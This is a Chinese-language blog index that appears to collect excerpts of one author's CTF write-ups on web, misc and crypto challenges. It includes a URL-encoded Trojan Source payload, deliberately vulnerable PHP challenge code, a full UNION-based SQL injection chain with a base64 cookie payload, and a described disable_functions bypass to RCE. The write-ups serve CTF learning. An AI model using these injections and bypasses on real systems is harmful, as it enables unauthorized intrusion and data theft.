L3HCTF 2021 WriteUp

比赛感受:笑死,根本不会做 借用比赛群里发的一个表情包,Golang逆向属实给整麻了属于是 不过题目质量还可以,就做出来两个半题目,剩下的都是赛后复现 Web EasyPHP 从拿到Flag的内容来看,这道题貌似是要考察一个CVE:CVE-2021-42574,但其实这道题从很平常的代码逻辑角度去看也能做出来 打开网页直接有源码,按照代码高亮的一些规律很容易看出猫腻,如下图: 这里的猫腻在于普通的注释应该都是黄色的才对,而这里+!!直接被高亮成了运算符的绿色,L3HCTF也是呈现了不同的颜色,所以这里肯定有问题 把代码复制到VScode里面一眼就能看出来,存在不可见的Unicode控制字符: 所以这样去看,就会发现和网页中显示的代码逻辑不太一样了,if判断的条件变成了下面这样子(避免显示问题,控制字符用“字符x”代替): 1 2 3 4 5 if ( "admin" == $_GET[username] & 字符1 + !! 字符2 & "字符1CTF字符2l3hctf" == $_GET[字符1L3H字符2password] ) 这里的&变成单个出现,也就是按位与。所以需要做到三个条件均为1,最终才是1。第一个和第三个条件是由我们控制的,很简单;第二个条件尝试后发现是恒等于1的,所以只需要将Unicode控制字符做一下URLEncode再带入进去提交即可。URL-encode Unicode - Online Unicode Tools 最终Payload:username=admin&%e2%80%ae%e2%81%a6L3H%e2%81%a9%e2%81%a6password=%e2%80%ae%e2%81%a6CTF%e2%81%a9%e2%81%a6l3hctf Flag: flag{Y0U_F0UND_CVE-2021-42574!} 参考链接:Trojan Source Attacks,是和Flag一起出的,还有相关的研究论文可以参考 Misc a-sol We captured traffic in the IDC management network. Attachment 这题是一个流量分析题,是一个叫做IPMI的管理接口相关,好像是一套用来远程管理服务器的协议,文档可以在Intel官网找到:IPMI Specification, V2.0, Rev. 1.1: Document (intel.com)。用Wireshark查看协议细节,发现大部分协议包都是加密的,所以需要通过分析握手包来获取到解密的方法。 如上图,握手包一共有6个,分别是RMCP+ Open Session Request、RMCP+ Open Session Response以及4个RAKP Message,对应到文档中的第13.17-13.24节 ...

Nov. 15, 2021 · 5 min · 984 words · Jiekang Hu

CNSS Recruit 2021 WriteUp - Web

Signin 考点:HTTP,略 Flag: CNSS{Y0u_kn0w_GET_and_POST} D3buger 考点:F12,略 Flag: CNSS{Wh4t_A_Sham3le55_thI3f} GitHacker 考点:Git泄露 Git_Extract直接出,略 Flag: CNSS{Ohhhh_mY_G0d_ur3_real_G1th4ck3r} 更坑的数学题 考点:脚本提交,略 Flag: CNSS{w#y_5o_f4st?} Ezp#p 考点:md5弱类型比较、变量覆盖 开局给出源码: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 <?php error_reporting(0); require_once("flag.php"); show_source(__FILE__); $pass = '0e0'; $md55 = $_COOKIE['token']; $md55 = md5($md55); if(md5($md55) == $pass){ if(isset($_GET['query'])){ $before = $_GET['query']; $med = 'filter'; $after = preg_replace( "/$med/", '', $before ); if($after === $med){ echo $flag1; } } $verify = $_GET['verify']; } extract($_POST); if(md5($verify) === $pass){ echo $$verify; } ?> 很容易发现前面要个双md5结果=='0e0'的字符串,直接写脚本爆破,以0e开头且后续全为数字的结果均可,下面放几组数据: ...

Oct. 10, 2021 · 6 min · 1268 words · Jiekang Hu

2020西湖论剑部分复现+另外几道Web题

西湖论剑题目质量算挺高的了,是那种贴近真实环境的题目,以至于质量高到完全看不懂(除了Misc感觉比较离谱 下面都是赛后复现了,比赛的时候还是开心的签了一下到,总结:比赛体验很不错,网速很给力,下次还来 Misc yusa_yyds 附件下载:链接 是一个Wireshark流量文件,打开一看是USB数据包。比赛的时候搜了半天只找到了键盘和鼠标的东西,赛后看wp发现是Xbox 360手柄。。。 那是怎么找到的呢?下面是对着WP+自己找的资料进行的总结: 首先是USB的地址格式: 摘自https://bbs.zafu-polaris.cn/d/13-2020-usbyusa-yyds 常见地址格式为 X.Y.Z X表示USB总线ID 对应的过滤值为usb.bus_id Y表示USB设备ID 对应的过滤值为usb.device_address Z表示USB设备的端口 所以从流量包的前一段很容易发现是在读取USB设备列表,因为每次GET DESCRIPTOR的地址都不同。然后搜索发现在GET DESCRIPTOR Response DEVICE返回的是设备的类型,包含设备生产商、设备名称等信息: 由于后面的数据包传输对象地址都是2.15.2,所以只需要关注2.15开头的设备即可。可以看见2.15.0的GET DESCRIPTOR Response DEVICE返回值里面出现了Microsoft和Xbox360 Controller字样。所以可以确定后续的数据包都是Xbox360手柄产生的。 然后开始查看传输的数据包。关注每个数据包的LCD(Leftover Capture Data),可以发现大体的数据包格式:000800ff00000000和0008000000000000,然后从这个链接中找到了Xbox360传输数据包的格式,发现这是震动的数据包,下面是网站中的说明: A type byte of ‘0x00’ indicates a rumble packet. The controller contains two rumble motors: a large weight in the left grip and a small weight in the right grip. The value for both of these motors is updated in a single packet. The rumble values are 8-bit unsigned integers representing the motor speed, where ‘0’ is off and ‘255’ is max speed. The left motor’s rumble value is stored in index 3, while the right motor’s rumble value is stored in index 4. This packet is typically 8 bytes long, with bytes 2, 5, 6, and 7 unused (0x00). ...

Oct. 13, 2020 · 15 min · 3015 words · Jiekang Hu

PHP反序列化姿势总结

最近工作室招新,所以又重新捡起了PHP,做了一些反序列化的题目,又学到了一些Tricks,在这里稍微总结一下。 序列化字符串中的字母含义 有关序列化字符串中的字母含义,在这篇文章里面已经说的很清楚了(大佬tql,PHP源码都看了一遍),这里稍微再总结一下: a - array:数组 b - boolean:布尔值 d - double:浮点数 i - integer:整数 o - common object:PHP3时被用来代表序列化对象,但是PHP4被O取代 r - reference:对象引用 s - non-escaped binary string:无转义字符的字符串 S - escaped binary string:带有转义字符的字符串 C - custom object:不知道干啥用的,从来没碰到过 O - class:普通的类 N - null:NULL值 R - pointer reference:指针引用 U - unicode string:Unicode字符串 下面总结一些类型的特点: 整数i:整数的范围为从-2147483648 到 2147483647,若序列化时的数字超出该范围,则直接转换为浮点数;若反序列化时数字超出该范围,则无法得到期望数值。 浮点数d:浮点数可以表示成整数形式、浮点数形式和科学技术法形式,正负无穷大数被序列化时返回INF和-INF,若反序列化时数字超出PHP的表示范围,也返回INF;若反序列化时数字的精度超出PHP的最小精度,则返回0;若序列化时为非数,则返回NAN,NAN被反序列化时输出为0。 在s、S、O等存在字符串长度的对象中,字符串长度值不能为负数,允许字符串长度的值带有+号,如s:+5:"value";。 S是PHP6新引进的一种字符串序列化方式,它允许字符串以转义字符的情况出现(\+字符对应16进制数),如protected对象成员名可序列化为S:5:"\00*\00value";,其中\00即代表chr(0)字符(此处必须要两位\00,如果使用\0会引发Unserialize Error)。 关于对象引用r和指针引用R: 这两者在引用方式上是有区别的,可以理解为对象引用是一个单边的引用,被赋值的那个变量可以任意修改值,而不会影响到被引用的那个对象;而指针引用则是一个双边的引用,被赋值的那个变量若做了改动,被引用的那个对象也会被修改。也就是说指针引用其实就是两个对象指针指向了同一块内存区域,所以任一指针的数值修改其实都是在对这块内存做修改,也就会影响到另一个指针的值;而对象引用的被赋值对象就像一个临时的指针,指向了被引用对象的内存区域,而当被赋值对象的值修改之后,这个临时指针就指向了另一块内存。下面是两段示例代码: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 class SampleClass { var $value; } $a = new SampleClass(); $a->value = 1; $b = new SampleClass(); $b->value = $a; // 对象引用 echo "<pre>"; var_dump($a); var_dump($b); $a->value=2; // 被引用对象的修改 var_dump($a); var_dump($b); $b->value=3; // 被赋值对象的修改 var_dump($a); var_dump($b); echo "</pre>"; 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 class SampleClass { var $value; } $a = new SampleClass(); $a->value = 1; $b = new SampleClass(); $b->value = $a; // 对象引用 echo "<pre>"; var_dump($a); var_dump($b); $a->value=2; // 被引用对象的修改 var_dump($a); var_dump($b); $b->value=3; // 被赋值对象的修改 var_dump($a); var_dump($b); echo "</pre>"; 下面是两端程序输出的差异: ...

Sep. 25, 2020 · 3 min · 446 words · Jiekang Hu

T-Star 2020 靶场赛 WriteUp

昨天开始的靶场赛,全是Web,除了最后两个SQL注入没做出来,其他全做出来了+复现出来了,这里记录几个比较有意思的题目。 你能爆破吗 首页有个登录界面,随便输入会返回查询的语句,可以发现存在特殊字符转义没办法注入。于是尝试用户名和密码均输入admin,显示如下界面: 发现服务器将刚才输入的用户名作为Cookie储存了起来,base64解密后是admin: 尝试改为admin" or 1=1 limit 1,1#,发现输出改变,说明存在SQL注入: 于是使用联合注入,完整的注入过程如下: 1 2 3 4 5 6 7 8 SELECT * FROM users WHERE username="xxx" order by 2# SELECT * FROM users WHERE username="xxx" order by 3# SELECT * FROM users WHERE username="xxx" order by 4# /* 报错 */ SELECT * FROM users WHERE username="xxx" union select 1,2,3# SELECT * FROM users WHERE username="xxx" union select 1,database(),user()# /* security, root@localhost */ SELECT * FROM users WHERE username="xxx" union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()# /* emails,flag,referers,uagents,users */ SELECT * FROM users WHERE username="xxx" union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='flag'# /* id,flag */ SELECT * FROM users WHERE username="xxx" union select 1,group_concat(id),3 from flag# /* flag{a405ef895ef46d96} */ 最终发现flag表,查询得到flag。对应的payload为eHh4IiB1bmlvbiBzZWxlY3QgMSxncm91cF9jb25jYXQoaWQpLGdyb3VwX2NvbmNhdChmbGFnKSBmcm9tIGZsYWcj ...

Jul. 1, 2020 · 3 min · 514 words · Jiekang Hu

GKCTF WriteUp

Web CheckIN 又是一道bypass disable_functions的题目 首先给出源代码: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <title>Check_In</title> <?php highlight_file(__FILE__); class ClassName { public $code = null; public $decode = null; function __construct() { $this->code = @$this->x()['Ginkgo']; $this->decode = @base64_decode( $this->code ); @Eval($this->decode); } public function x() { return $_REQUEST; } } new ClassName(); 也就是只要输入base64加密的代码就能执行,执行phpinfo()发现版本为7.3,而且得到了一堆不能用的函数,能执行系统命令的都被ban了。 执行var_dump(scandir('/'));得到根目录有flag和readflag,flag文件读不到,readflag读出来是一个可执行文件,功能就是cat /flag。 也就是说,只要想办法执行这个文件就可以拿到flag。 然后就是写一句话代码执行,一开始用了蚁剑自带的bypass_disable_functions插件,但是好像在/var/www/html下面没有写权限所以都执行失败了。。。 后来发现了可以在/tmp上面上传文件然后包含,但是一开始没有找到能用的PoC。。。看WP找到一个pwn的PoC:https://github.com/mm0r1/exploits/blob/master/php7-gc-bypass/exploit.php 就RCE了,直接拿到flag: 更新: 后面再次尝试,发现只是插件不行,利用LD_PRELOAD环境变量劫持同样可以RCE:(更多请看我之前的文章) ...

May. 24, 2020 · 6 min · 1086 words · Jiekang Hu

BJD3rd-WriteUp

Crypto bbcrypto 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 # -*- coding:utf-8 -*- import A,SALT from itertools import * def encrypt(m, a, si): c="" for i in range(len(m)): c+=hex(((ord(m[i])) * a + ord(next(si))) % 128)[2:].zfill(2) return c if __name__ == "__main__": m = 'flag{********************************}' a = A salt = SALT assert(len(salt)==3) assert(salt.isalpha()) si = cycle(salt.lower()) print("明文内容为:") print(m) print("加密后的密文为:") c=encrypt(m, a, si) print(c) #加密后的密文为: #177401504b0125272c122743171e2c250a602e3a7c206e014a012703273a3c0160173a73753d 很容易找到6组明文和密文的对应关系: f(102)->0x17 l(108)->0x74 a(97)->0x01 g(103)->0x50 {(123)->0x4b }(125)->0x3d 由assert语句可以得到salt的长度为3且全为小写字母,且参与加密的是salt的循环迭代器,所以很容易在已知的明文-密文对中找到使用salt的同一位加密的一组或多组数据,比如这里的f和g、l、{和}。 ...

May. 23, 2020 · 4 min · 851 words · Jiekang Hu

Ha1cyonCTF WriteUp

最近搞的西工大CTF,整体题目感觉挺难的,看了WP之后发现Web还有一些很新的CVE,Misc还有音频隐写,都是没接触过的东西。除了服务器不定时的尿崩之外(运维挨打),做出来了几个题,也是第一次接触CTF的Crypto吧,记录一下收获。 Misc 抽象带师 真就人均狗粉丝嗷( Flag:NPUCTF{欢迎来到西北工业大学CTF比赛世界上最简单的比赛} Misc就做出来一道。。。真的难 Crypto 认清形势,建立信心 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 from Crypto.Util.number import * from gmpy2 import * from secret import flag p = getPrime(25) e = # Hidden q = getPrime(25) n = p * q m = bytes_to_long(flag.strip(b"npuctf{").strip(b"}")) c = pow(m, e, n) print(c) print(pow(2, e, n)) print(pow(4, e, n)) print(pow(8, e, n)) ''' 169169912654178 128509160179202 518818742414340 358553002064450 ''' 一道RSA的题目,由于输出的数字大小也不是很大,后面一点一点做着也就做出来了。 ...

Apr. 22, 2020 · 4 min · 748 words · Jiekang Hu